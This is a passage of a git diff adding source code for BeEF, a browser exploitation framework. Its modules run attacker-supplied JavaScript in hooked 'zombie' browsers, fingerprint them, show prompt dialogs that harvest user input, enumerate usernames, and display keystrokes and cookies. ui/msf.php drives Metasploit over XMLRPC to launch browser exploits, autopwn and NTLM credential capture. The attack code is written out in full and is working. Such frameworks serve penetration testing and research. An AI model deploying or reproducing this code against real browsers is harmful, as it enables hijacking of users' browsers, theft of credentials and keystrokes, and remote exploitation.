Settings/Application Data/Macromedia/Flash 8/en/Configuration/HelpPanel/_sharedassets/check.gif"; + } + if (pic1.width != 28) { //size of broken image + result += "Username found: " + usernames[x] + "\n" + } + } + } + } +} + +result = ""; +do_main(); + +return_result(result_id, result); diff --git a/modules/standard/detect_unsafe_activex/index.php b/modules/standard/detect_unsafe_activex/index.php new file mode 100644 index 000000000..39c1c4ccf --- /dev/null +++ b/modules/standard/detect_unsafe_activex/index.php @@ -0,0 +1,46 @@ + + + + + +
    Detect Unsafe ActiveX
    +This module will check if IE has been insecurely configured. It will test if the +option "Initialize and script ActiveX controls not marked as safe for scripting" +is enabled.

    +The setting can be found in: +
    +Tools Menu -> Internet Options -> Security -> Custom level -> 
    +"Initialize and script ActiveX controls not marked as safe for scripting"
    +
    +
    +
    + + +
    +
    + diff --git a/modules/standard/detect_unsafe_activex/name.txt b/modules/standard/detect_unsafe_activex/name.txt new file mode 100644 index 000000000..407979cac --- /dev/null +++ b/modules/standard/detect_unsafe_activex/name.txt @@ -0,0 +1 @@ +Detect Unsafe ActiveX diff --git a/modules/standard/detect_unsafe_activex/template.js b/modules/standard/detect_unsafe_activex/template.js new file mode 100644 index 000000000..66201f3a0 --- /dev/null +++ b/modules/standard/detect_unsafe_activex/template.js @@ -0,0 +1,14 @@ +function unsafeDetect(){ + var unsafe = true; + + try{ test = new ActiveXObject("WbemScripting.SWbemLocator"); } + catch(ex){unsafe = false;} + + if(unsafe) { + return_result(result_id, "Browser is configured for unsafe active x"); + } else { + return_result(result_id, "Browser is NOT configured for unsafe active x"); + } +} + +unsafeDetect(); diff --git a/modules/standard/detect_vbscript/index.php b/modules/standard/detect_vbscript/index.php new file mode 100644 index 000000000..08344b879 --- /dev/null +++ b/modules/standard/detect_vbscript/index.php @@ -0,0 +1,42 @@ + + + + + +
    Detect VBScript
    +This module will detect if VBScript is available in the selected zombie browsers.

    +
    +
    +
    + + +
    +
    + diff --git a/modules/standard/detect_vbscript/name.txt b/modules/standard/detect_vbscript/name.txt new file mode 100644 index 000000000..bc5fbee3a --- /dev/null +++ b/modules/standard/detect_vbscript/name.txt @@ -0,0 +1 @@ +Detect VBScript diff --git a/modules/standard/detect_vbscript/template.js b/modules/standard/detect_vbscript/template.js new file mode 100644 index 000000000..7ef0627bf --- /dev/null +++ b/modules/standard/detect_vbscript/template.js @@ -0,0 +1,15 @@ +function do_main(){ + + if ((navigator.userAgent.indexOf('MSIE') != -1) && + (navigator.userAgent.indexOf('Win') != -1)) { + result = "VBScript is available in browser"; + } else { + result = "VBScript is NOT available in browser"; + } + +} + +var result = null; +do_main(); + +return_result(result_id, result); \ No newline at end of file diff --git a/modules/standard/detect_virtual_machine/MacAddressApplet.class b/modules/standard/detect_virtual_machine/MacAddressApplet.class new file mode 100644 index 0000000000000000000000000000000000000000..b52cf8d882ecd42ac6445408fc57a49de4cff612 GIT binary patch literal 3445 zcmbVOYjYdb8Gcq;X;;RIPc__vp#XYtw-|;s4)5>IrrQ5LVK6`WCVRzr)} zX~Ag~lOo2?R6MBSAr%j+__=~dG_+wz438@Kg_s{x@VJU8VS7%+6JmZ+#ZxNIt9V+x zJ)`1T1efh-n=&Msi$f${XopMb}?KtlbS-FzwiYX`d-tSoEfz`=Qs3r&t@pJn4UbrnvW@h3zcJyYOjd}Qf)~iAgcW0^-EXA#Wipmo zVg_s58-!5sA~_^A64un&o24VE!2!auY*j+2y<_;=^vE2MEtz&o5D=S)~>)4GwI(~>-b;QN+ zBP4XZgqL~3axo;zqobxJ0mA7H9k1Y339FW@21ibrXA!{9QX zc)V4l`)eJ)!C?g->i9?$FpWLrZz)Rk3<-MmnZ6{TT*#QCRC-3o00t#^hTC`%+M*mi zZ70P$2RBsN&gNqKEX$ZoW=pn?kMT(zOm40^ev9AHr2&f)R<O^*)~fw;9i^z*DnhpI?nyVS-xpU_X)Z#1$I?Hup9skM-#EdMbB`80i7MEo&$w) z-n0yHE9pUTA2O`W8N)KG_e7??>EmZ0vyhPxZKUOEE`X~kwwaYnG$bZ%>Qy;y#IFU@Rb%58quSN}w3f9j?@PS(;l*3Oyn3G8{D4vFFIwh-oS8QZ zHm%ta?`GpGm}l+E;_|*x$);WilO@~C)7!MD*^rA(wir9g&TCU8rjh4qT@C82g`-aT zwAV!EVdpZ&2%@XV`j~`vLY$Bzlg-YP(+!VV?8r>U$dJ6cMzn||OH}NlqihN7b^T}2 zqyYiAf!~^2_$BoqAo>iS0;1J$)*y-Y!|^u0wQy#0fv@utq|f;vVJ}C&v$&E@>BX2IIf9`>z^4=Irs*;uHw$i@DBx*OHku- zP>K7x;{LGzN{{00QA27-xq$6qe@NZc69~&;-y8x_`3q=6-cVp3O{sb4Tsj_!`=(TB zdf{(jc@8UPB$15A$-dJ$ED9gCGmRM5Vh7e^C;z&U#4Zf-=}z2?VM4Q?UfbYZV0i%r zKT&YN`R`S5(0z~y&%dzq8%C=wj?IB(3S7P+E*{Q>d93W~{3Dtr_TMlcR!R60tLOQJ zk6eW>GBdsKk7*q0o5kA82n}7rb-{IWSWig8oaV4$4jcJ${WP}L+H7)dHrLv;25*=l z%)n;mz6PyKUd-bC2q_isVs_Eki)QZZr+qJ0;2<`zv29}Zt+d&~-nI>W{N<9QML&0M z=js4g1~G=C7)Q!MCaM=1PJB>1E7AhJZ^6j#UjR&Z+EDparmeg#p7 zdGa51$!}di6T?cZnI-d6 z?-wA`kuMRgEAxBHLByMJL>Om@LI`o(R|O@3Ra}`QC=c>i#6$e0`!H_ABP9M&MDZ9e z$m8^yVox}S6Li~2;{Qrec5hysi*;B=&ss(-~D_Tf!7FQzB zc@dsz$jQ$gret!m$W+kL?;9N7=IWbJ@s4wd0uO;tihh-97|;7{@jhg{j~VYH#`~l` z-gzA3rFXCFUrC!^U{Z4zyLiFovAufDg0Xq*pq7)7{^*sx-X1w5w_HF+G$eP&eKmeN z=^=VlQr7&j^dXtJ=}q9H@b&U^l@J-h2_>rM|8?w5(z;TTQd$P8KKr E5BkdqSO5S3 literal 0 HcmV?d00001 diff --git a/modules/standard/detect_virtual_machine/index.php b/modules/standard/detect_virtual_machine/index.php new file mode 100644 index 000000000..02b0037c5 --- /dev/null +++ b/modules/standard/detect_virtual_machine/index.php @@ -0,0 +1,46 @@ + + + + + +
    Detect Virtual Machine
    +This module will check if the browser is being run within a VM environment. This +module will work on any browser that has Java enabled. Currently, it supports +detection of: VMware, QEMU, VirtualBox and Amazon EC2.

    + +
    +
    + + +
    +
    + diff --git a/modules/standard/detect_virtual_machine/macaddressapplet.jar b/modules/standard/detect_virtual_machine/macaddressapplet.jar new file mode 100644 index 0000000000000000000000000000000000000000..1424d192b7f03825629e54301b4b63304f5581eb GIT binary patch literal 2311 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 + + + + +

    Prompt Dialog
    +This module will display a prompt dialog in the zombie browser requesting the user for +information. The entered information will be returned in the log.

    +
    +
    +
    Prompt String
    + + + +
    +
    diff --git a/modules/standard/prompt_dialog/name.txt b/modules/standard/prompt_dialog/name.txt new file mode 100644 index 000000000..5a878753a --- /dev/null +++ b/modules/standard/prompt_dialog/name.txt @@ -0,0 +1 @@ +Prompt Dialog diff --git a/modules/standard/prompt_dialog/template.js b/modules/standard/prompt_dialog/template.js new file mode 100644 index 000000000..9b3c8b39f --- /dev/null +++ b/modules/standard/prompt_dialog/template.js @@ -0,0 +1,6 @@ +function do_main(){ + var rtn_value = prompt("PROMPTSTRING"); + return_result(result_id, rtn_value); +} + +do_main(); \ No newline at end of file diff --git a/modules/standard/raw_javascript/index.php b/modules/standard/raw_javascript/index.php new file mode 100644 index 000000000..2228fb52b --- /dev/null +++ b/modules/standard/raw_javascript/index.php @@ -0,0 +1,56 @@ + + + + +
    Raw Javascript Module
    +This module will send the code entered in the 'JavaScript Code' section to the selected +zombie browsers where it will be executed.

    + +The return_result() will send its string parameter back to the BeEF server.

    + +
    +
    +
    UserAgent Regexp
    + +
    JavaScript Code
    + + + +
    +
    + diff --git a/modules/standard/raw_javascript/name.txt b/modules/standard/raw_javascript/name.txt new file mode 100644 index 000000000..f77298ea2 --- /dev/null +++ b/modules/standard/raw_javascript/name.txt @@ -0,0 +1 @@ +Raw JavaScript diff --git a/modules/standard/raw_javascript/template.js b/modules/standard/raw_javascript/template.js new file mode 100644 index 000000000..8193633bb --- /dev/null +++ b/modules/standard/raw_javascript/template.js @@ -0,0 +1,17 @@ +function do_main() { + var ret; + + if(navigator.userAgent.match(REGEXP)) { + + try { + ret = CMD; + } catch(e) { + for(var n in e) + ret+= n + " " + e[n] + "CR"; + } + } + + return ret; +} + +do_main(); diff --git a/modules/standard/rewrite_status_bar/index.php b/modules/standard/rewrite_status_bar/index.php new file mode 100644 index 000000000..c58b2f66e --- /dev/null +++ b/modules/standard/rewrite_status_bar/index.php @@ -0,0 +1,45 @@ + + + + + +
    Rewrite Status Bar
    +This module will rewrite the status bar of the selected zombies.

    + +
    +
    +
    String
    + + + +
    +
    diff --git a/modules/standard/rewrite_status_bar/name.txt b/modules/standard/rewrite_status_bar/name.txt new file mode 100644 index 000000000..8e4f5f32a --- /dev/null +++ b/modules/standard/rewrite_status_bar/name.txt @@ -0,0 +1 @@ +Rewrite Status Bar diff --git a/modules/standard/rewrite_status_bar/template.js b/modules/standard/rewrite_status_bar/template.js new file mode 100644 index 000000000..73f184a54 --- /dev/null +++ b/modules/standard/rewrite_status_bar/template.js @@ -0,0 +1,6 @@ +function do_main(){ + window.status="STATUSBARSTRING"; + return_result(result_id, "Status updated"); +} + +do_main(); \ No newline at end of file diff --git a/pw.php b/pw.php new file mode 100644 index 000000000..1b71c3259 --- /dev/null +++ b/pw.php @@ -0,0 +1,3 @@ + diff --git a/submit_config.php b/submit_config.php new file mode 100644 index 000000000..d47235365 --- /dev/null +++ b/submit_config.php @@ -0,0 +1,77 @@ +\n"); + + // create log file + touch($raw_log_file); + touch($raw_summary_log_file); + +?> +

    BeEF Successfuly Configured

    + +
    + +
    + +

    Error

    + Permissions on the directory are incorrect. Running the + following command will correct the problem:
    + # chown
    + # chown -R
    + +

    Password

    + Incorrect BeEF password, please try again. + diff --git a/ui/about.php b/ui/about.php new file mode 100644 index 000000000..09f612742 --- /dev/null +++ b/ui/about.php @@ -0,0 +1,32 @@ + + +
    +

    About

    + BeEF is a browser exploitation framework. Its purpose in life is to + provide an easily integratable framework to demonstrate the impact of + browser and Cross-site Scripting issues in real-time. The modular + structure has allowed the development of new modules to be a simple process. + +

    What's New

    + You will immediately notice the log summary on the main screen. This logs zombie details and module + results. It provides access to the zombie pane by clicking on the date. There are two other + logs - the zombie log and the raw log. The raw log contains more information than the log summary + pane. For more detail refer to the CHANGELOG file.

    + + Changes Summary:
    + * Integration with Metasploit via XMLRPC
    + * New browser functionality detection modules
    + * Command interface support added for Safari
    + * Tiered logging for module actions and results
    + * Viewing page content added to the zombie pane
    + * Set Autorun support added to each module
    +
    + + Copyright © 2006-2009. + Wade Alcorn. + All Rights Reserved. +
    diff --git a/ui/exampleusage.php b/ui/exampleusage.php new file mode 100644 index 000000000..543e13e02 --- /dev/null +++ b/ui/exampleusage.php @@ -0,0 +1,21 @@ + + +
    +

    Example Usage

    + Use a browser to connect to 'http://beefserver/beef/hook/example.php' or + click the 'Spawn Zombie Example' item in the 'Options' menu. Now a zombie will appear in the zombie + section of the BeEF UI.

    + + Select the 'Alert Dialog' module from the 'Standard Modules' menu and then click on the zombie in the + sidebar (under the BeEF image). Now both the module and a zombie(s) have been selected. The next step + is to click the 'Send Now' button to send the instruction to the zombie.

    + + An alert dialog box should now appear in the zombie. Click the 'OK' button. The results of this + action will appear in that browser zombie's page. To view these results select the zombie from + the 'Zombies' pull down menu. This page contains various infomation including 'Module Results'.

    + +
    diff --git a/ui/favicon.ico b/ui/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..9f3fb0e5507a5c6a074633fedbadbc310191c92a GIT binary patch literal 3638 zcmeH}J#ySe5QQI1yR;d_6Hvv#<$#GW2e1Pk!4xxPgYpT)&~&yp(BK9x7EWL$%(3MY zn8l49uoQTUEEK@@*8}ViDLQk=k>2*;^+QjiXE-xbp>Oo=ov<_gK9jze^!Dxe{L6RJ zpKw3GA<<93b-8^zn*3XgeKS-0XsSU30caTX*usMvL=YD6Eqo0RY7i4VP=b%}Ab|)1 zP=pWgAb|)1P&vr|wIG2AO2EJ}Yt@3<7K+$_)zHe?R*S_#30t)bl~`e|MxRK?zhY7#UvZK?EfbFssR@CZC#o68Y5RlVl6{Hjz(KMZd%f zYc+gI)CWB_B=n!rMH0GDCF#r0mm2x-pJ`_K_|ouYzDET5N(`s5P$ z=lZAlXL!n<9`(t?`Vbz@U(J5KK6Fw zH&%S*pUt)b+&?NNSvK1U4DW)Xw|;B3?%h=WgU!Y0`?E6=_g~L{)4J>(X#Mf=8D8%W z8#msr>&%>Vf!iU!GW|5Zj=Ht~*xei|Qe(WuS8CNXt5p{CcARzYX6<3ri(o@rL-D+R?$3WeE;#d&(g@z=QV9Q8 z_rd4*cq|Y_p>zKMU9)yG3HTwp5BIrB96P@f|L)*V3B{X>S+KEys7~VD@_J9n`|Y&pZu)-V*gQ1(gb%wXx1YspKbu`X;yL@q?eTVfX0H{+ z3`K9#8`B=TcDiNn_2bV2G`8Z{qRS&^Qw}-p#Jg`yr;qEsalj0IxbWylsvijK^|^n~ nbKbt$i@ST*c*~=C=V4#^0+w$^T<=M{xbS^)Lhe7=X{CPw8g-sz literal 0 HcmV?d00001 diff --git a/ui/get_module_details.php b/ui/get_module_details.php new file mode 100644 index 000000000..f1498893e --- /dev/null +++ b/ui/get_module_details.php @@ -0,0 +1,35 @@ +", $result); + echo $result; + } else { + echo "Results not available"; + } + } + break; + case "delete": // delete the results for the module + if(isset($_SESSION[$_GET["result_id"]])) { + $file = MODULE_TMP_DIR . $_SESSION[$_GET["result_id"]]; + if(file_exists($file)) { + unlink($file); + } + } + break; + } +?> \ No newline at end of file diff --git a/ui/get_zombie_details.php b/ui/get_zombie_details.php new file mode 100644 index 000000000..e59fc3f4e --- /dev/null +++ b/ui/get_zombie_details.php @@ -0,0 +1,73 @@ + diff --git a/ui/help.php b/ui/help.php new file mode 100644 index 000000000..b8eebc51c --- /dev/null +++ b/ui/help.php @@ -0,0 +1,62 @@ + + +
    +

    Test Page

    + The test page will hook and create an example zombie browser which will appear under the + 'Zombies' heading in the left pane : Example Page + +

    Zombies Menu

    + From the Zombies menu, a single zombie can be selected. This will display a page containing + details about that zombie. Some of the module results will be displayed on this page. + +

    Modules Menus

    + Modules can be selected from the various module menus. This will display a page containing + details and options relevant to that module. Commands will be sent only to the zombies selected + in the sidebar (left).
    +
    + Depending on the module design, the results can be displayed in a results pane on this page or within + the selected zombies' pages. + +

    Options Menu

    + This menu contains the 'disable autorun' and start/stop polling items. + +

    Sidebar Autorun Status

    + This section displays the status of BeEF autorun. Autoruns can be disabled from the 'Options Menu'. + +

    Sidebar Zombie Selection

    + All modules use the selected zombies in this section. The selected zombies (only) will receive the module + commands. + +

    Autorun

    + Each module may have an autorun option. Whether or not this exists is dependant upon the developer of the + module. A selected autorun will execute (after a slight delay) upon the zombie connecting to the server.
    +
    + Only one autorun can be selected at a time. To disable the autorun, either select the alternate one + desired to excute or the 'Disable Autorun' menu item in the 'Options' menu. + +

    Results

    + Results of modules can be found in a few places. It depends upon the implementation + of the module. If the module contains a results pane, the results will be found there. If not, + the results are likely to be + zombie dependent so they will be located within the zombie page (accessable from the 'Zombies' menu). + The results may also be found in the raw log and the summary log.
    + +

    Modules

    + The modules are loaded into the various module menus. The modules are + the parts of the application that provide code to be sent to the zombie browser. One of the main strengths + of BeEF is the ease with which modules can be written. They require minimal effort to incorporate into + the framework. Module development and API details can be found on the + http://www.bindshell.net/tools/beef/ web site. + +

    Bugs

    + Further help can be found in the FAQ (http://www.bindshell.net/tools/beef/) + or by emailing the author. + + Please report any bugs to wade@bindshell.net. + +
    + diff --git a/ui/index.php b/ui/index.php new file mode 100644 index 000000000..1ec66f94e --- /dev/null +++ b/ui/index.php @@ -0,0 +1,464 @@ + + + + + + +'; + $safari_menu_css = ''; + $ie_menu_css = ''; + + function generate_css_tags($subdirectory) { + + $menu_css = ' '; + $style_css = ' '; + + echo preg_replace('/USERAGENT/', $subdirectory, $menu_css); + echo "\n"; + echo preg_replace('/USERAGENT/', $subdirectory, $style_css); + echo "\n"; + } + + // set css based on the user agent + if(stristr($browser_ua['name'], AGENT_FIREFOX_UA_STR)) { + generate_css_tags('firefox'); + } elseif(stristr($browser_ua['name'], AGENT_IE_UA_STR)) { + generate_css_tags('ie'); + } elseif(stristr($browser_ua['name'], AGENT_SAFARI_UA_STR)) { + generate_css_tags('safari'); + } else { + generate_css_tags('firefox'); + } + +?> + Browser Exploitation Framework + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + +
    + [Refresh Log] + [Clear Log] + [Display Raw Log] +
    +
    +
    + checking...
    +
    +
    + + + +
    +
    + + +
    +
    +
    + + +
    +
    Module
    +
    +
    +
    +
    Results
    +
    +
    +
    + + +
    +
    +
    +
    + + +
    +
    + + +
    + Details + [Hide] +
    +
    +
    +
    Browser
    +
    +
    Operating System
    +
    +
    Screen
    +
    +
    URL
    +
    +
    Cookie
    + +
    + + + +
    +
    +
    Content
    +
    +
    + + +
    + Key Logger + [Hide] +
    +
    +
    +
    Keys
    +
    +
    + + +
    + Module Results + [Hide] + [Clear] +
    +
    +
    +
    +
    +
    + +
    +
    +
    + + + +
    +

    Server debug messages

    + +

    Client debug messages

    + +
    + + + + + + diff --git a/ui/log.php b/ui/log.php new file mode 100644 index 000000000..730dbd816 --- /dev/null +++ b/ui/log.php @@ -0,0 +1,28 @@ + + +
    +

    Raw Log + +

    + +

    +
    + +
    +
    + +
    +
    diff --git a/ui/logcontrol.php b/ui/logcontrol.php new file mode 100644 index 000000000..538bf3d95 --- /dev/null +++ b/ui/logcontrol.php @@ -0,0 +1,44 @@ + diff --git a/ui/msf.php b/ui/msf.php new file mode 100644 index 000000000..f1990865f --- /dev/null +++ b/ui/msf.php @@ -0,0 +1,507 @@ +'; +$msf_load_error .= ''; +$msf_load_error .= ''; + +$sock = FALSE; + +// connect to msf +$sock = msf_connect(MSF_HOST,MSF_PORT); +if($sock === FALSE) { // check failure + print $msf_load_error; + exit; +} + +// login to msf +$token = xmlrpc_msf_login($sock,MSF_USER,MSF_PASS); +if($token === FALSE) { // check failure + print $msf_load_error; + socket_close($sock); + exit; +} + +function close_socket_and_exit($sock) { + if( !($sock === FALSE) ) { + socket_close($sock); + } + exit(); +} + +if($_GET["action"] == "getexploits") { // get exploits + + get_exploits($sock, $token); + +} elseif($_GET["action"] == "getpayloads" && $_GET["exploit"]) { // get payloads + + $exploit = get_and_filter_exploit(); + if(!$exploit) close_socket_and_exit($sock); + + get_payloads($sock,$token,$exploit); + +} elseif($_GET["action"] == "getoptions" && $_GET["exploit"] && $_GET["payload"]) { // get options + + $exploit = get_and_filter_exploit(); + if(!$exploit) close_socket_and_exit($sock); + $payload = get_and_filter_payload(); + if(!$payload) close_socket_and_exit($sock); + + get_options($sock, $token, $exploit, $payload); + +} elseif($_GET["action"] == "smbchallengecapture") { // execute smb capture + + $options = get_and_filter_smb_capture_options(); + if(!$options) close_socket_and_exit($sock); + $options["LOGFILE"] = TMP_DIR . 'logfile'; + $options["PWFILE"] = TMP_DIR . 'pwfile'; + + execute_smb_capture($sock, $token, $options); + +} elseif($_GET["action"] == "browserautopwn") { // execute smb capture + + $options = get_and_filter_module_options(); + if(!$options) close_socket_and_exit($sock); + + execute_browser_autopwn($sock, $token, $options); + +} elseif($_GET["action"] == "exploit") { + + $options = get_and_filter_module_options(); + if(!$options) close_socket_and_exit($sock); + $exploit = get_and_filter_exploit(); + if(!$exploit) close_socket_and_exit($sock); + + execute_module($sock, $token, $exploit, $options); +} + +socket_close($sock); + +// --[ XMLRPC GET EXPLOITS +// get msf exploits via xmlrpc request +function xmlrpc_get_exploits($sock, $token) { + + if(!$sock || !$token ) { + $error = "MSF get exploit error:\n"; + $error .= "- Socket and/or Token failed"; + beef_log($error, $error); + return FALSE; + } + + // construct request + $msg = new xmlrpcmsg("module.exploits", + array( new xmlrpcval($token,"string"))); + $string = $msg->serialize() . "\0"; + + // send request + socket_write($sock,$string); + + // get response + $resp = ""; + while(!preg_match("/\/methodResponse/",$resp)) { + $resp .= socket_read($sock,2048); + } + $resp = str_replace("\0","",$resp); + + $t = php_xmlrpc_decode_xml($resp); + + // check error + if($t->errno) { + $error = "MSF get exploit error:\n"; + $error .= "- Response from MSF Failed"; + beef_log($error, $error); + return FALSE; + } + $val = $t->val; + + // extract exploits from response + $modules = $val->structMem("modules"); + $exploits = array(); + for($i = 0; $i < $modules->arraySize(); $i++) { + $value = $modules->arrayMem($i); + if(preg_match("/browser/",$value->scalarVal())) { + array_push($exploits,$value->scalarVal()); + } + } + + return $exploits; +} + +function get_exploits($sock, $token) { + + // get exploits + $exploits = xmlrpc_get_exploits($sock, $token); + + if($exploits === FALSE) { + print "fail"; + } else { + $html_select = construct_select('exploit', $exploits, 'msf_get_payload_list()'); + print $html_select; + } +} + +function get_payloads($sock, $token, $exploit) { + + $payloads = xmlrpc_get_payloads($sock,$token,$exploit); + + if($payloads === FALSE) { + print "fail"; + } else { + $html_select = construct_select('payload', $payloads, 'msf_get_options()'); + print $html_select; + } +} + +function get_options($sock, $token, $exploit, $payload) { + + // get all options + $exp_opt = xmlrpc_get_options($sock, $token, "exploit", $exploit); + $pay_opt = xmlrpc_get_options($sock, $token, "payload", $payload); + + $full_options = array_merge($exp_opt, $pay_opt); + + print construct_options_form($full_options); +} + +function execute_smb_capture($sock, $token, $options) { + + // set the module to use + $module = "server/capture/http_ntlm"; + + $result = xmlrpc_execute_module($sock, $token, $module, "auxiliary", $options); + + if($result === FALSE) { + print "fail"; + return; + } + + $url = MSF_BASE_URL . ":" . $options["SRVPORT"] . "/" . $options["URIPATH"]; + + if( ! valid_url_without_query($url) ){ + print "fail"; + return; + } + + beef_log("SMB Exploit Launched", "SMB Exploit Launched. Waiting for Metasploit to send URL"); + print $url; + +} + +function execute_browser_autopwn($sock, $token, $options) { + + // set the module to use + $module = "server/browser_autopwn"; + + $result = xmlrpc_execute_module($sock, $token, $module, "auxiliary", $options); + + if($result === FALSE) { + print "fail"; + return; + } + + $url = MSF_BASE_URL . ":" . $options["SRVPORT"] . "/" . $options["URIPATH"]; + + if( ! valid_url_without_query($url) ){ + print "fail"; + return; + } + + beef_log("Autopwn Exploit Launched", "Autopwn Exploit Launched. Waiting for Metasploit to send URL"); + print $url; + +} + +function execute_module($sock, $token, $module, $options) { + + $result = xmlrpc_execute_module($sock, $token, $module, "exploit", $options); + + if($result === FALSE) { + print "fail"; + return; + } + + $url = MSF_BASE_URL . ":" . $options["SRVPORT"] . "/" . $options["URIPATH"]; + + if( ! valid_url_without_query($url) ){ + print "fail"; + return; + } + + beef_log("Exploit ($module) Launched", "Exploit ($module) Launched. Waiting for Metasploit to send URL"); + print $url; + +} + +// --[ XMLRPC GET PAYLOADS +// get msf payloads via xmlrpc request +function xmlrpc_get_payloads($sock, $token, $exploit) { + + if(!$sock || !$token || !$exploit) { + $error = "MSF get payloads error:\n"; + $error .= "- Socket, Token and/or Exploit failed"; + beef_log($error, $error); + return FALSE; + } + + // construct request + $msg = new xmlrpcmsg("module.compatible_payloads", + array( new xmlrpcval($token,"string"), + new xmlrpcval($exploit,"string"))); + $string = $msg->serialize() . "\0"; + + // send request + socket_write($sock,$string); + + // get response + $resp = ""; + $resp .= socket_read($sock, 32768); + $resp = str_replace("\0","",$resp); + + $t = php_xmlrpc_decode_xml($resp); + + // check error + if($t->errno) { + return FALSE; + } + $val = $t->val; + + // extract payloads from response + $modules = $val->structMem("payloads"); + $payloads = array(); + for($i = 0; $i < $modules->arraySize(); $i++) { + $value = $modules->arrayMem($i); + array_push($payloads,$value->scalarVal()); + } + + return $payloads; +} + +// --[ XMLRPC GET OPTIONS +// get msf options via xmlrpc request +function xmlrpc_get_options($sock, $token, $type, $module) { + + if(!$sock || !$token || !$type || !$module) { + $error = "MSF get options error:\n"; + $error .= "- Socket, Token, Type and/or Module failed"; + beef_log($error, $error); + return FALSE; + } + + // construct request + $msg = new xmlrpcmsg("module.options", + array( new xmlrpcval($token,"string"), + new xmlrpcval($type,"string"), + new xmlrpcval($module,"string") + )); + $string = $msg->serialize() . "\0"; + + // send request + socket_write($sock,$string); + + // get response + $resp = ""; + $resp .= socket_read($sock,32768); + $resp = str_replace("\0","",$resp); + + $t = php_xmlrpc_decode_xml($resp); + + // check error + if($t->errno) { + $error = "MSF get options error:\n"; + $error .= "- Response from MSF Failed"; + beef_log($error, $error); + return FALSE; + } + + // extract options from response + $val = $t->val; + $val->structreset(); + $options = array(); + while(list($key,$v) = $val->structEach()) { + $v->structreset(); + $options[$key] = array(); + while(list($k,$v2) = $v->structEach()) { + $options[$key][$k] = $v2->scalarVal(); + } + } + + return $options; +} + +// --[ XMLRPC EXECUTE MODULE +// launch metasploit module +function xmlrpc_execute_module($sock, $token, $module, $type, $options) { + + if(!$sock || !$token || !$module || !$type || !$options || !is_array($options)) { + $error = "MSF execute module error:\n"; + $error .= "- Socket, Token, Name, Type and/or 